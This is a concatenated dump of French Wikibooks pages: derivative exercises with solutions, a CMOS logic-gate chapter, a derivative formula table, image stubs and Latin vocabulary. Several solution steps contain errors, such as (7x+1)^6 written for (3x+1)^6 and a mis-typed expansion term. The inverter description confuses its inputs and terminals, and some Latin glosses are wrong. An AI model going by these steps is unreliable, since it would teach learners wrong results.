1''' : <math>f(x) = 3x^4 - 5x^3 + 4x^2 + 2x - 5\,</math>. Calculer <math>f '(x)\,</math>. {{Boîte déroulante|titre=Solution|contenu = :''f'' est une fonction polynôme donc est dérivable sur <math>\R</math>. : Formules utilisés : :*<math>(k\times u)'= k\times u'</math> :*<math>(u+v)'= u'+ v'\,</math> :* si <math>u(x) = x^n\,</math> alors <math>u'(x) = nx^{n-1}\,</math> :* Si ''u'' est constante alors <math>u'</math> est nulle. : <math>f'(x) = 3\times 4x^3 - 5\times 3x^2 + 4\times 2x + 2</math> : <math>f'(x) = 12x^3 - 15x^2 + 8x + 2\,</math> }} * '''Exercice 2''' : <math>f(x)=(2x^2+3)^2(4x-9)\,</math>. Calculer <math>f'(x)\,</math>. {{Boîte déroulante|titre=Solution|contenu = : <math>f(x)=(2x^2+3)^2(4x-9)\,</math> (fonction originale) : <math>f(x)=(4x^4+12x^2+9)(4x-9)\,</math> (transformation algébrique) : <math>f'(x)=(4x^4+12x^2+9)'(4x-9)+(4x^4+12x^2+9)(4x-9)'\,</math> ([[Formules de dérivation|formule]] 6) : <math>f'(x)=(16x^3+24x)(4x-9)+(4x^4+12x^2+9)\times 4\,</math> ([[Formules de dérivation|formules]] 1, 2, 3, 4 et 5) : <math>f'(x)=64x^4+96x^2-144x^2-216x+16x^4+48x^2+36\,</math> (distribution) : <math>f'(x)=80x^4-144x^3+144x^2-216x+36\,</math> (simplification) : ''rem : Une dérivation plus astucieuse permet de trouver une forme factorisée de f' '' : <math>f'(x) = 2(2x^2+3)(4x)(4x-9)+ (2x^2+3)^2\times 4\,</math> ([[Formules de dérivation| formules]] 6, 3A, et 1, 2, 3, 4, 5 : <math>f'(x) = (2x^2+3)(32x^2 -72x + 8x^2 + 12)\,</math> (factorisation) : <math>f'(x) = (2x^2+3)(40x^2 - 72x + 12)\,</math> }} * '''Exercice 3''' : <math>y=(x^2+8)(x+5)\,</math>. Calculer <math>y'\,</math>. {{Boîte déroulante|titre=Solution|contenu = : <math>y=(x^2+8)(x+5)</math> (fonction originale) : <math>y'=(x^2+8)(x+5)'+(x^2+8)'(x+5)</math> ([[Formules de dérivation|formule]] 6) : <math>y'=(x^2+8)\times 1+(x+5)\times 2x</math> ([[Formules de dérivation|formules]] 5, 2, 1 et 3) : <math>y'=x^2+8+2x^2+10x</math> (simplification) : <math>y'=3x^2+10x+8</math> (simplification) }} * '''Exercice 4''' :<math>f(x) = (3x+1)^7(1-2x)^3\,</math> . Calculer <math>f'(x)\,</math>. {{boîte déroulante|titre=Solution|contenu= :Formules utilisées :* <math>(uv)' = u'v + uv'</math> :* (<math>u^n)' = nu^{n-1}u'</math> : f est dérivable sur <math>\R</math> comme fonction polynôme. : <math>f'(x) = 7(3x+1)^6.3.(1-2x)^3 + (3x+1)^7.3.(1-2x)^2.(-2)\,</math> : <math>f'(x) = (7x+1)^6(1-2x)^2(21 - 42x - 18x - 6)\,</math> (factorisation) : <math>f'(x) = (7x+1)^6(1-2x)^2(15-60x)\,</math> (simplification) }} * '''Exercice 4 (bis)''' : ''L'exercice précédent se décline à l'infini en changeant les fonctions affines et les exposants.'' : Montrer que si <math>f(x) = (ax+b)^n(cx+d)^m\,</math> alors <math>f'(x) = ac(n+m)(ax+b)^{n-1}(cx+d)^{m-1} (x - r)\,</math> où ''r'' est la [[w:moyenne#Pondérée|moyenne pondérée]] des racines de <math>ax+b</math> et <math>cx + d</math> affectées des coefficients ''m'' et ''n''. {{Boîte déroulante|titre= Solution|contenu= : Mêmes formules utilisées que précédemment : <math>f'(x) = an(ax+b)^{n-1}(cx+d)^m +cm (ax+b)^n(cx+d)^{m-1}\,</math> : <math>f'(x) = (ax+b)^{n-1}(cx+d)^{m-1}(acnx + adn + acmx + bcm)\, </math> (factorisation) : <math>f'(x) = (ax+b)^{n-1}(cx+d)^{m-1}ac(n+m)(x + \frac{n}{n+m}\frac{d}{c} + \frac{m}{n+m}\frac{b}{a} )</math> :Or <math>-b/a</math> est la racine de <math>ax+b</math> et <math>-d/c</math> la racine de <math>cx+d</math>, enfin la moyenne pondérée ''r'' de <math>-b/a</math> et <math>-d/c</math> affectés de ''m'' et ''n'' est : :: <math>r = \frac{m}{m+n}(-b/a) + \frac{n}{m+n}(-d/c)</math> : donc <math>f'(x) = (ax+b)^{n-1}(cx+d)^{m-1}ac(n+m)(x - r)\,</math> }} ==Dérivées de fonctions [[w:fonction rationnelle|rationnelles]]== [[Image:eepp deriv hyperbole.png|right|float|64px]] * '''Exercice 1''' : <math>f(x) = {3x-2 \over x + 5}</math>. Calculer <math>f'(x)\,</math>. {{Boîte déroulante|titre=Solution|contenu= :''f'' est une fonction rationnelle donc elle est dérivable sur son ensemble de définition <math>\R - \{-5\}</math>. : Formule utilisée : :: <math>\left({u \over v}\right)' = {u'v - uv'\over v^2}</math> : ''u(x) = 3x - 2, u'(x) = 3, v(x) = x + 5, v'(x) = 1'' donc : <math>f'(x) = {3(x+5)-1(3x-2)\over (x+5)^2}</math> : <math>f'(x) = {17\over (x+5)^2}</math> }} *'''Exercice 1 (bis)''' : ''L'exercice précédent peut se développer à l'infini en changeant les coefficients du numérateur et du dénominateur'' : Prouver que si <math>f(x) = {ax+b \over cx + d}</math> alors <math>f'(x) = {ad-bc \over (cx+d)^2}</math>. {{Boîte déroulante|titre=Solution|contenu= :''f'' est une fonction rationnelle donc elle est dérivable sur son ensemble de définition <math>\R - \{-d/c\}</math>. : Formule utilisée : ::<math> \left({u \over v}\right)' = {u'v - uv'\over v^2}</math> : ''u(x) = ax + b, u'(x) = a, v(x) = cx + d, v'(x) = c'' donc : <math>f'(x) = {a(cx+d)-c(ax+b)\over (cx+d)^2}</math> : <math>f'(x) = {ad-bc\over (cx+d)^2}</math> }} * '''Exercice 2''' : <math>f(t)=16t^{-3}+4t^{-2}+15\,</math>. Calculer <math>f'(t)\,</math>. {{Boîte déroulante|titre=Solution|contenu = : <math>f(t)=16t^{-3}+4t^{-2}+15\,</math> (fonction originale) : <math>f'(t)=(16t^{-3})'+(4t^{-2})'+15'\,</math> ([[Formules de dérivation|formule]] 5) : <math>f'(t)=-48t^{-4}-8t^{-3}+0\,</math> ([[Formules de dérivation|formules]] 3 et 4) : <math>f'(t)=\frac{-48}{t^4}-\frac{8}{t^3}\,</math> (simplification) }} * '''Exercice 3''' : <math>f(x) = {x^2+3x-5 \over x+1}</math>. Calculer <math>f'(x)\,</math>. {{boîte déroulante|titre=Solution|contenu= : ''f'' est une fonction rationnelle (quotient de deux fonctions polynômes) donc elle est dérivable sur son ensemble de définition, ici <math>\R - \{-1\}</math> : Formule utilisée <math>\left({u \over v}\right)' = {u'v-uv' \over v^2}</math> : <math>u(x) = x^2+3x-5</math> donc <math>u'(x) = 2x+3</math> : <math>v(x) = x + 1</math> donc <math>v'(x) = 1</math> : <math>f'(x) = {(2x+3)(x+1) - (x^2 + 3x - 5) \over (x+1)^2}</math> : <math>f'(x) = {x^2 -2x + 8 \over (x+1)^2}</math> }} * '''Exercice 3 (bis)''' : ''L'exercice précédent se décline à l'infini en modifiant le polynôme du second degré du numérateur et le polynôme du premier degré du dénominateur.'' : Montrer que, si la forme réduite de ''f'' est <math>f(x) = ax + b + {c\over x+d}</math>, alors <math>f'(x) = {a(x+d)^2 - c \over (x+d)^2}</math> {{boîte déroulante|titre=Solution|contenu= : Formules utlisées * <math>(u + v)' = u' + v'</math>, <math>(ku)' = ku'</math> * <math>(1/u)' = - u'/u^2</math> : <math>f'(x) = a + \frac{-c}{(x+d)^2} = \frac{a(x+d)^2 - c}{(x+d)^2}</math> }} == Dérivées de fonctions avec racines== [[Image:eepp deriv root.png|right|float|64px]] ''à faire..'' ==Dérivées de fonctions trigonométriques== [[Image:eepp deriv trigo.png|right|float|64px]] * '''Exercice 1''' (Cegep) : <math>f(x)=\sec (3x^4-x+2)\,</math>. Calculer <math>f'(x)\,</math>. {{Boîte déroulante|titre=Solution|contenu = : <math>f(x)=\sec (3x^4-x+2)</math> (fonction originale) : <math>f'(x)=[\sec (3x^4-x+2)][\tan (3x^4-x+2)](12x^3-1)</math> ([[Formules de dérivation|formule]] 14) : <math>f'(x)=(12x^3-1)\sec (3x^4-x+2)\tan (3x^4-x+2)</math> (simplification) }} * '''Exercice 2''' (Cégep ou terminale) : <math>y=\tan^3 (3x)\,</math>. Calculer <math>y'\,</math>. {{Boîte déroulante|titre=Solution|contenu = : <math>y=\tan^3 (3x)</math> (fonction originale) : <math>y'=3\tan^2 (3x)\times \sec^2 (3x)\times 3</math> ([[Formules de dérivation|formules]] 3, 4 et 12) : <math>y'=9\tan^2 (3x)\times \sec^2 (3x)</math> (simplification) <small> remarque : sec = 1/cos</small> }} * '''Exercice 3''' (Cégep ou terminale) : <math>f(x)=\frac{\cos 2x}{\sin^2 (x+1)}\,</math>. Calculer <math>f'(x)\,</math>. {{Boîte déroulante|titre=Solution|contenu = : <math>f(x)=\frac{\cos 2x}{\sin^2 (x+1)}</math> (fonction originale) : <math>f'(x)=\frac{-2\sin (2x)\times \sin^2 (x+1)-2\sin (x+1)\cos (x+1)\times \cos (2x)}{sin^4 (x+1)}</math> ([[Formules de dérivation|formules]] 10 et 11) : <math>f'(x)=\frac{-2\sin (2x)\times \sin (x+1)-2\cos (2x)\times \cos(x+1)}{\sin^3 (x+1)}</math> (simplification) : <math>f'(x)=\frac{-2\cos [2x-(x+1)]}{\sin^3 (x+1)}</math> (simplification) : <math>f'(x)=\frac{-2\cos (x-1)}{\sin^3 (x+1)}</math> (simplification) }} ==Dérivées de fonctions logarithmiques et exponentielles== [[Image:eepp deriv exp.png|right|float|64px]] * '''Exercice 1''' (Cégep ou terminale) : <math>f(x)=log_7 (x^3+x^2-1)\,</math>. Calculer <math>f'(x)\,</math>. {{Boîte déroulante|titre=Solution|contenu = : <math>f(x)=log_7 (x^3+x^2-1)</math> (fonction originale) : <math>f'(x)=\frac{1}{x^3+x^2-1}\times log_7 e\times (3x^2+2x)</math> ([[Formules de dérivation|formule]] 22) : <math>f'(x)=\frac{3x^2+2x}{x^3+x^2-1}\times log_7 e</math> (simplification) }} * '''Exercice 2''' (Cégep ou terminale) : <math>f(\theta)=3^{\theta^2-1}\,</math>. Calculer <math>f'(\theta)\,</math>. {{Boîte déroulante|titre=Solution|contenu = : <math>f(\theta)=3^{\theta^2-1}</math> (fonction originale) : <math>f'(\theta)=3^{\theta^2-1}\times \ln 3\times (2\theta)</math> ([[Formules de dérivation|formule]] 24) : <math>f'(\theta)=2\ln 3\times \theta\times 3^{\theta^2-1}</math> (simplification) }} * '''Exercice 3''' (Cégep ou terminale) : <math>y=e^x \ln x\,</math>. Calculer <math>y'\,</math>. {{Boîte déroulante|titre=Solution|contenu = : <math>y=e^x \ln x</math> (fonction originale) : <math>y'=e^x\times \frac{1}{x}+e^x\times \ln x</math> ([[Formules de dérivation|formules]] 23 et 25) : <math>y'=e^x\left ( \frac{1}{x}+\ln x\right )</math> (simplification) }} == Autres dérivées == ''... à faire...'' [[Catégorie:Exercices de mathématiques]] Architecture des ordinateurs/Circuits 6957 46640 2006-07-01T07:28:53Z 81.246.27.230 /* Les transistors CMOS */ {{Architecture des ordinateurs}} ==Le cours sur les circuits asynchrones== === Assemblage de transistors=== Un processeur contient un certains nombre de circuits capables de réaliser des calculs : addition, soustraction,... ou certaines manipulations sur des données (des décalages par exemple). Nous allons voir dans ce chapitre comment de tels circuits peuvent être réalisés par des assemblages de transistors. ===Microélectronique ou informatique=== Ce chapitre est à la croisée des chemins entre 2 matières : la microélectronique et l'informatique qui étudient toutes deux le fonctionnement du transistor. Nous garderons toutefois le point de vue de l'informaticien qui ne va s'intéresser qu'au comportement logique du transistor. Nous ne nous intéresserons pas à la consommation des transistors, à la réalisation pratique de ces transistors sous forme de masque, à leur effet capacitif ...etc... === Les transistors CMOS === A la base des processeurs modernes, il y a le transistor CMOS : un processeur n'est rien d'autre qu'un assemblage de transistors connectés par des conducteurs ! On peut réunir sur un processeur de moins de 1 centimètre carré des centaines de millions de transistors. Il existe 2 types de transistor CMOS : le transistor N et le transistor P qui ont des comportements complémentaires.<br/> '''Remarque :''' La technologie CMOS peut utiliser des potentiels hauts très variables. Nous choisirons ici une technologie de 2 volts. *'''Transistor N'''<br/> [[Image:TransistorN.gif]]<br/> Le transistor CMOS de type N est un circuit électronique ayant 3 points importants : la source notée S, le drain noté D et la grille notée G. Le comportement de ce circuit est le suivant : si la grille est reliée à un potentiel de 0 volt, alors la source et le drain seront électriquement isolés. Si la grille est reliée à un potentiel haut (2 volts) par exemple) il y aura conduction entre la source et le drain. *'''Transistor P'''<br/> [[Image:TransistorP.gif]]<br/> Le transistor CMOS de type P est un circuit électronique ayant 3 points importants : la source notée S, le drain noté D et la grille notée G. Le comportement de ce circuit est le suivant : si la grille est reliée à un potentiel haut, alors la source et le drain seront électriquement isolés. Si la grille est reliée à un potentiel de 0 volt il y aura conduction entre la source et le drain. * '''La masse'''<br/> La masse est reliée en permanence à un potentiel de 0 volt. [[Image:Masse.gif]]<br/> * '''Le potentiel haut'''<br/> Le potentiel haut est relié en permanence à un potentiel de 2 volts. [[Image:PotentielHaut.gif]]<br/> *'''Traduction des potentiels hauts et de la masse'''<br/> Lorsqu'un point du circuit est à un potentiel de 0 volt, on dira qu'il vaut la valeur binaire 0.<br/> Lorsqu'un point du circuit est à un potentiel de 2 volts, on dira qu'il vaut la valeur binaire 1.<br/> ===Synthèse de portes logiques=== A partir des transistor N et P, de la masse et du potentiel haut, on peut réaliser des portes logiques. Toutes les portes logiques sont réalisables quelque soit leur table de vérité. En pratique, la plupart des portes logiques ont un nombre d'entrées et de sorties raisonnables (moins de 5 en général). Nous allons étudier quelques portes logiques usuelles. ===L'inverseur === '''Schéma :'''<br/> [[Image:Inverseur.gif]]<br/> Un inverseur est un circuit avec une entrée A et une sortie B. Il est constitué deux 2 transistors comme sur le schéma. * Lorsque A sera à un potentiel de 0 volt, la grille du transistor P du haut sera reliée à un potentiel de 0 volt. Il y aura donc conduction entre le drain et la grille de ce transistor. le point A sera donc relié au potentiel haut. Le transistor N du bas aura lui sa grille au potentiel 0 volt. Il n'y aura donc pas conduction entre la masse et le point A. A sera donc au potentiel haut. * Lorsque A sera à un potentiel haut, la grille du transistor P du haut sera reliée à un potentiel de 2 volts. La grille et le drain de ce gtransistor seront donc électiquement isolés. Il n'y aura donc pas de conduction entre le point A et le potentiel haut. Le transistor N du bas aura lui sa grille au potentiel haut. Il y aura donc conduction entre la masse et le point A. A sera donc au potentiel de 0 volt. * '''Table de vérité'''<br/> La table de vérité donne la valeur des sorties pour toutes les valeurs possibles des entrées.<br/> '''Table de vérité :'''<br/> <pre> A B 0 1 1 0 </pre> ===La porte NAND === '''Schéma :'''<br/> [[Image:NAND.gif]]<br/> '''Table de vérité :'''<br/> <pre> A B S 0 0 1 0 1 1 1 0 1 1 1 0 </pre> ===La porte NOR === '''Schéma :'''<br/> [[Image:NOR.gif]]<br/> '''Table de vérité :'''<br/> <pre> A B S 0 0 1 0 1 0 1 0 0 1 1 0 </pre> ===La porte XOR === '''Schéma :'''<br/> [[Image:XOR.gif]]<br/> '''Table de vérité :'''<br/> <pre> A B S 0 0 0 0 1 1 1 0 1 1 1 0 </pre> '''Notation : (FA="Full Adder")'''<br/> [[Image:XOR-2.gif]] ===La porte MUX (multiplexeur 1 bit) === '''Schéma :'''<br/> [[Image:MUX.gif]]<br/> '''Table de vérité :'''<br/> <pre> A B C S 0 0 0 0 0 0 1 0 0 1 0 0 0 1 1 1 1 0 0 1 1 0 1 0 1 1 0 1 1 1 1 1 </pre> '''Notation : (FA="Full Adder")'''<br/> [[Image:MUX-2.gif]] <br/> Une des propriété essentielle du multiplexeur est de vérifier la propriété suivante : <br/> - si C vaut 0 alors S=A<br/> - si C vaut 1 alors S=B<br/> === Additionneur 1 bit=== Le schéma ci dessus est une porte logique à 3 entrées A,B et C et 2 sorties X et Y. Il est dû à H.T.Bui, Y.Wang et Y.Jiang. [[Image:FA-4.gif]]<br/> '''Table de vérité : '''<br/> <pre> A B C R S 0 0 0 0 0 0 0 1 0 1 0 1 0 0 1 0 1 1 1 0 1 0 0 0 1 1 0 1 1 0 1 1 0 1 0 1 1 1 1 1 </pre> On constate que les entrées et les sorties sont liées par la relation A+B+C=2R+S.<br/> '''Notation : (FA="Full Adder")'''<br/> [[Image:FA-1.gif]] ===Assemblage de portes logiques de base === Une fois les différentes portes logiques synthétisées par des assemblage de transistors, il suffit d'assembler ces différentes portes logiques pour réaliser des circuits beaucoup plus complexes réalisant par exemple des opération arithmétiques. === Additionneur base 2 sur 8 bits=== [[Image:Additionneur-8bits.gif]] <BR/> Soit A et B deux entiers positifs en base 2 notés respectivement (A7 A6 A5 A4 A3 A2 A1 A0) et (B7 B6 B5 B4 B3 B2 B1 B0). On veut calculer la somme S=A+B. <br/> S est sur 8 bits et est noté (S7 S6 S5 S4 S3 S2 S1 S0). Le bit C indique la validité du résultat : C=0 indique que le résultat est valide. C=1 indique que A+B n'est pas représentable en base 2 sur 8 bits car A+B>255. <br/> Ce circuit comporte donc 16 bits en entrée en 9 bits en sortie. === Additionneur/soustracteur base 2 sur 8 bits=== [[Image:Additionneur-soustracteur-8bits.gif]] <BR/> Soit A et B deux entiers positifs en base 2 notés respectivement (A7 A6 A5 A4 A3 A2 A1 A0) et (B7 B6 B5 B4 B3 B2 B1 B0). Le bit en entrée OP indique l'opération à effectuer : soit une addition, soit une soustraction.<br/> Le résultat S est sur 8 bits et est noté (S7 S6 S5 S4 S3 S2 S1 S0).<br/> Si OP=0 alors S=A+B et si OP=1 alors S=A-B. <br/> Le bit C indique la validité du résultat : C=0 indique que le résultat est valide. C=1 indique que le resultat n'est pas représentable. <br/> Ce circuit comporte donc 17 bits en entrée et 9 bits en sortie. === Multiplexeur à 2 entrées sur 8 bits=== [[Image:MUX-8bits.gif]] <br/> Soit A et B deux données sur 8 bits notées respectivement (A7 A6 A5 A4 A3 A2 A1 A0) et (B7 B6 B5 B4 B3 B2 B1 B0). Le bit en entrée C indique qu'on veut récupérer sur la sortie soit A soit B.<br/> Le résultat S est sur 8 bits et est noté (S7 S6 S5 S4 S3 S2 S1 S0).<br/> Si C=0 alors S=A et si C=1 alors S=B. <br/> <br/> Ce circuit comporte donc 17 bits en entrée et 8 bits en sortie. === Multiplexeur à 4 entrées sur 8 bits=== === Décaleur de 0 ou 1 bit sur 8 bits=== [[Image:Décaleur-8bits.gif]] <br/> Soit A une données sur 8 bits notée (A7 A6 A5 A4 A3 A2 A1 A0) et C une entrée sur un bit. Le bit en entrée C indique s'il faut décaler A d'un bit vers la gauche ou non..<br/> Le résultat S est sur 8 bits et est noté (S7 S6 S5 S4 S3 S2 S1 S0).<br/> Si C=0 alors S=A et si C=1 alors S est obtenu en décalant tous les bits de A d'un bit vers la gauche. <br/> <br/> Ce circuit comporte donc 9 bits en entrée et 8 bits en sortie. ===Décaleur 4 bits - de 0 à 3 positions=== [[Image:Décaleurs 4 bits - 0 à 3 positions.gif]] <br/> Soit A une données sur 4 bits notée (A3 A2 A1 A0) et C une entrée sur deux bits nots (C1C0). Le résultat S est sur 7 bits et est noté (S6 S5 S4 S3 S2 S1 S0).<br/> S doit être égal à A décalé de C bits vers la gauche. <br/> <br/> Ce circuit comporte donc 6 bits en entrée et 7 bits en sortie. ===Additionneur à 3 entrées=== ===Multiplieur à 2 entrées sur 4 bits=== == Voir ausi....== ===Liens internes=== *[[w:Transistor|Présentation de la notion de transistor]] *[[w:Complementary_metal_oxide_semi-conductor#Circuit_sp.C3.A9cialis.C3.A9|Introduction à la technologie CMOS]] *[[w:Algèbre de Boole (logique)| Une introduction à l'algèbre de Boole]] *[[w:Additionneur|Additionneur]] : quelques notions sur les additionneurs. ===Liens externes=== Image:Eeppsign.png 6959 32348 2006-02-11T04:19:55Z Eeppeliteloop 1136 Image personnelle ; CC. Image personnelle ; CC. Image:Eepp deriv.png 6960 32352 2006-02-11T04:30:18Z Eeppeliteloop 1136 Image personnelle CC. Image personnelle CC. Formules de dérivation 6961 33154 2006-02-17T09:58:40Z HB 15 ortho [[Image:eepp deriv.png|right]] Voici les 25 principales formules de dérivation : :''Pour la plupart des formules, <math>x</math> est utilisé pour définir la variable et <math>u</math> pour définir une fonction quelconque.'' <table style="border:dashed 1px #333333; padding:0px;" bgcolor="" border="0" cellspacing="4" cellpadding="2" width="50%" align="center"> <tr> <td bgcolor="#EAEAEA" width="10%">'''#'''</td> <td width="30%" bgcolor="#EAEAEA">'''Nom'''</td> <td width="60%" bgcolor="#EAEAEA">'''Formule'''</td> </tr> <tr> <td bgcolor="#EAEAEA">1</td> <td bgcolor="#EAEAEA">Constante</td> <td bgcolor="#FFFFFF"><math>\frac{d(k)}{dx}=0</math></td> </tr> <tr> <td bgcolor="#EAEAEA">2</td> <td bgcolor="#EAEAEA">Variable</td> <td bgcolor="#FFFFFF"><math>\frac{d(x)}{dx}=1</math></td> </tr> <tr> <td bgcolor="#EAEAEA">3</td> <td bgcolor="#EAEAEA">Variable avec un exposant </td> <td bgcolor="#FFFFFF"><math>\frac{d(x^n)}{dx}=nx^{n-1}</math></td> </tr> <tr> <td bgcolor="#EAEAEA">3A</td> <td bgcolor="#EAEAEA">Fonction avec un exposant </td> <td bgcolor="#FFFFFF"><math>\frac{d(u^n)}{dx}=nu^{n-1}\frac{du}{dx}</math></td> </tr> <tr> <td bgcolor="#EAEAEA">4</td> <td bgcolor="#EAEAEA">Produit d'une constante et d'une fonction </td> <td bgcolor="#FFFFFF"><math>\frac{d(ku)}{dx}=k\frac{du}{dx}</math></td> </tr> <tr> <td bgcolor="#EAEAEA">5</td> <td bgcolor="#EAEAEA">Somme de fonctions </td> <td bgcolor="#FFFFFF"><math>\frac{d(u+v)}{dx}=\frac{du}{dx}+\frac{dv}{dx}</math></td> </tr> <tr> <td bgcolor="#EAEAEA">6</td> <td bgcolor="#EAEAEA">Produit de fonctions </td> <td bgcolor="#FFFFFF"><math>\frac{d(uv)}{dx}=u\frac{dv}{dx}+v\frac{du}{dx}</math></td> </tr> <tr> <td bgcolor="#EAEAEA">7</td> <td bgcolor="#EAEAEA">Quotient de fonctions </td> <td bgcolor="#FFFFFF"><math>\frac{d(\frac{u}{v})}{dx}=\frac{v\frac{du}{dx}-u\frac{dv}{dx}}{v^2}</math></td> </tr> <tr> <td bgcolor="#D5D5D5">8</td> <td bgcolor="#D5D5D5">D&eacute;rivation en cha&icirc;ne </td> <td bgcolor="#FFFFFF"><math>\frac{dy}{dt}=\frac{dy}{dx}\times\frac{dx}{dt}</math></td> </tr> <tr> <td bgcolor="#D5D5D5">8A</td> <td bgcolor="#D5D5D5">D&eacute;rivation en cha&icirc;ne (extension)</td> <td bgcolor="#FFFFFF"><math>\frac{dy}{dx}=\frac{dy/dt}{dx/dt}</math></td> </tr> <tr> <td bgcolor="#D5D5D5">9</td> <td bgcolor="#D5D5D5">D&eacute;rivation implicite </td> <td bgcolor="#FFFFFF"><math>\frac{dx}{dy}=\frac{1}{dy/dx}</math></td> </tr> <tr> <td bgcolor="#C0C0C0">10</td> <td bgcolor="#C0C0C0">Sinus</td> <td bgcolor="#FFFFFF"><math>\frac{d(\sin u)}{dx}=\cos u\times\frac{du}{dx}</math></td> </tr> <tr> <td bgcolor="#C0C0C0">11</td> <td bgcolor="#C0C0C0">Cosinus</td> <td bgcolor="#FFFFFF"><math>\frac{d(\cos u)}{dx}=-\sin u\times\frac{du}{dx}</math></td> </tr> <tr> <td bgcolor="#C0C0C0">12</td> <td bgcolor="#C0C0C0">Tangente</td> <td bgcolor="#FFFFFF"><math>\frac{d(\tan u)}{dx}=\sec^2 u\times\frac{du}{dx}</math></td> </tr> <tr> <td bgcolor="#C0C0C0">13</td> <td bgcolor="#C0C0C0">Cotangente</td> <td bgcolor="#FFFFFF"><math>\frac{d(\operatorname{cot}\,u)}{dx}=-\operatorname{cosec}^2\,u\times\frac{du}{dx}</math></td> </tr> <tr> <td bgcolor="#C0C0C0">14</td> <td bgcolor="#C0C0C0">S&eacute;cante</td> <td bgcolor="#FFFFFF"><math>\frac{d(\sec u)}{dx}=\sec u\times\tan u\times\frac{du}{dx}</math></td> </tr> <tr> <td bgcolor="#C0C0C0">15</td> <td bgcolor="#C0C0C0">Cos&eacute;cante</td> <td bgcolor="#FFFFFF"><math>\frac{d(\operatorname{cosec}\,u)}{dx}=-\operatorname{cosec}\,u\times\operatorname{cot}\,u\times\frac{du}{dx}</math></td> </tr> <tr> <td bgcolor="#ABABAB">16</td> <td bgcolor="#ABABAB">Arcsinus</td> <td bgcolor="#FFFFFF"><math>\frac{d(\operatorname{arcsin}\,u)}{dx}=\frac{1}{\sqrt{1-u^2}}\times\frac{du}{dx}</math></td> </tr> <tr> <td bgcolor="#ABABAB">17</td> <td bgcolor="#ABABAB">Arccosinus</td> <td bgcolor="#FFFFFF"><math>\frac{d(\operatorname{arccos}\,u)}{dx}=\frac{-1}{\sqrt{1-u^2}}\times\frac{du}{dx}</math></td> </tr> <tr> <td bgcolor="#ABABAB">18</td> <td bgcolor="#ABABAB">Arctangente</td> <td bgcolor="#FFFFFF"><math>\frac{d(\operatorname{arctan}\,u)}{dx}=\frac{1}{1+u^2}\times\frac{du}{dx}</math></td> </tr> <tr> <td bgcolor="#ABABAB">19</td> <td bgcolor="#ABABAB">Arccotangente</td> <td bgcolor="#FFFFFF"><math>\frac{d(\operatorname{arccot}\,u)}{dx}=\frac{-1}{1+u^2}\times\frac{du}{dx}</math></td> </tr> <tr> <td bgcolor="#ABABAB">20</td> <td bgcolor="#ABABAB">Arcs&eacute;cante</td> <td bgcolor="#FFFFFF"><math>\frac{d(\operatorname{arcsec}\,u)}{dx}=\frac{1}{|u|\sqrt{u^2-1}}\times\frac{du}{dx}</math></td> </tr> <tr> <td bgcolor="#ABABAB">21</td> <td bgcolor="#ABABAB">Arccos&eacute;cante</td> <td bgcolor="#FFFFFF"><math>\frac{d(\operatorname{arccossec}\,u)}{dx}=\frac{-1}{|u|\sqrt{u^2-1}}\times\frac{du}{dx}</math></td> </tr> <tr> <td bgcolor="#969696">22</td> <td bgcolor="#969696">Logarithme</td> <td bgcolor="#FFFFFF"><math>\frac{d(\log_a u)}{dx}=\frac{1}{u}\times\log_a e\times\frac{du}{dx}</math></td> </tr> <tr> <td bgcolor="#969696">23</td> <td bgcolor="#969696">Logarithme naturel </td> <td bgcolor="#FFFFFF"><math>\frac{d(\ln u)}{dx}=\frac{1}{u}\times\frac{du}{dx}</math></td> </tr> <tr> <td bgcolor="#969696">24</td> <td bgcolor="#969696">Constante avec un exposant variable (fonction) </td> <td bgcolor="#FFFFFF"><math>\frac{d(a^u)}{dx}=a^u\ln a\times\frac{du}{dx}</math></td> </tr> <tr> <td bgcolor="#969696">25</td> <td bgcolor="#969696">e avec un exposant variable (fonction) </td> <td bgcolor="#FFFFFF"><math>\frac{d(e^u)}{dx}=e^u\times\frac{du}{dx}</math></td> </tr> </table> Image:Eepp deriv parab.png 6962 32363 2006-02-11T06:16:21Z Eeppeliteloop 1136 Image personnelle icône 128x128px. Creative common. Mathématiques. Image personnelle icône 128x128px. Creative common. Mathématiques. Image:Eepp deriv hyperbole.png 6963 32364 2006-02-11T06:16:31Z Eeppeliteloop 1136 Image personnelle icône 128x128px. Creative common. Mathématiques. Image personnelle icône 128x128px. Creative common. Mathématiques. Image:Eepp deriv exp.png 6964 32365 2006-02-11T06:16:47Z Eeppeliteloop 1136 Image personnelle icône 128x128px. Creative common. Mathématiques. Image personnelle icône 128x128px. Creative common. Mathématiques. Image:Eepp deriv trigo.png 6965 32366 2006-02-11T06:17:00Z Eeppeliteloop 1136 Image personnelle icône 128x128px. Creative common. Mathématiques. Image personnelle icône 128x128px. Creative common. Mathématiques. Image:Eepp deriv root.png 6966 32367 2006-02-11T06:17:09Z Eeppeliteloop 1136 Image personnelle icône 128x128px. Creative common. Mathématiques. Image personnelle icône 128x128px. Creative common. Mathématiques. Image:TransistorN.gif 6969 32414 2006-02-11T12:58:38Z Merrheim 1032 Le transistor CMOS de type N Le transistor CMOS de type N Image:TransistorP.gif 6970 32415 2006-02-11T12:59:00Z Merrheim 1032 Le transistor CMOS de type P Le transistor CMOS de type P Image:Masse.gif 6971 32425 2006-02-11T13:38:35Z Merrheim 1032 Image:PotentielHaut.gif 6972 32426 2006-02-11T13:38:48Z Merrheim 1032 Image:Inverseur.gif 6973 32429 2006-02-11T13:55:48Z Merrheim 1032 Un inverseur CMOS Un inverseur CMOS Latin/Vocabulaire/Adjectifs numéraux 6978 45950 2006-06-26T20:06:57Z Guillaumito 46 [[Les adjectifs numéraux les plus fréquents]] déplacé vers [[Latin/Vocabulaire/Adjectifs numéraux]]: politique de nommage *unus,a,um: un *duo,ae,a: deux *tres,tres,tria: trois *primus,a,um: premier *alter,altera,alterum: second *tertius,a,ium: troisième *singuli,ae,a: un à un, un par un *mille: mille Latin/Vocabulaire/Conjonctions 6979 45954 2006-06-26T20:07:40Z Guillaumito 46 [[Les conjonctions les plus fréquentes]] déplacé vers [[Latin/Vocabulaire/Conjonctions]]: politique de nommage ==Conjonctions de coordination== *ac: et *at: et *atque: et *aut: ou *autem: mais *deinde: ensuite *enim: en effet *ergo: donc, par conséquent *et: et *etiam: aussi *igitur: donc, c'est pourquoi *itaque: c'est pourquoi *modo...modo: tantôt...tantôt *nam: en effet *nec: et ne...pas *quare: c'est pourquoi *-que: et *quidem: certe *quoque: aussi *sed: mais *tamen: cependant *uel: mais *uero: mais ==Conjonctions de subordination== *ac/atque: que *antequam +ind/subj: avant que *cum +ind: quand, lorsque *cum +subj: alors que *donec +ind: aussi longtemps que *donec +subj: jusqu'à ce que *dum +ind: tandis que, aussi longtemps que 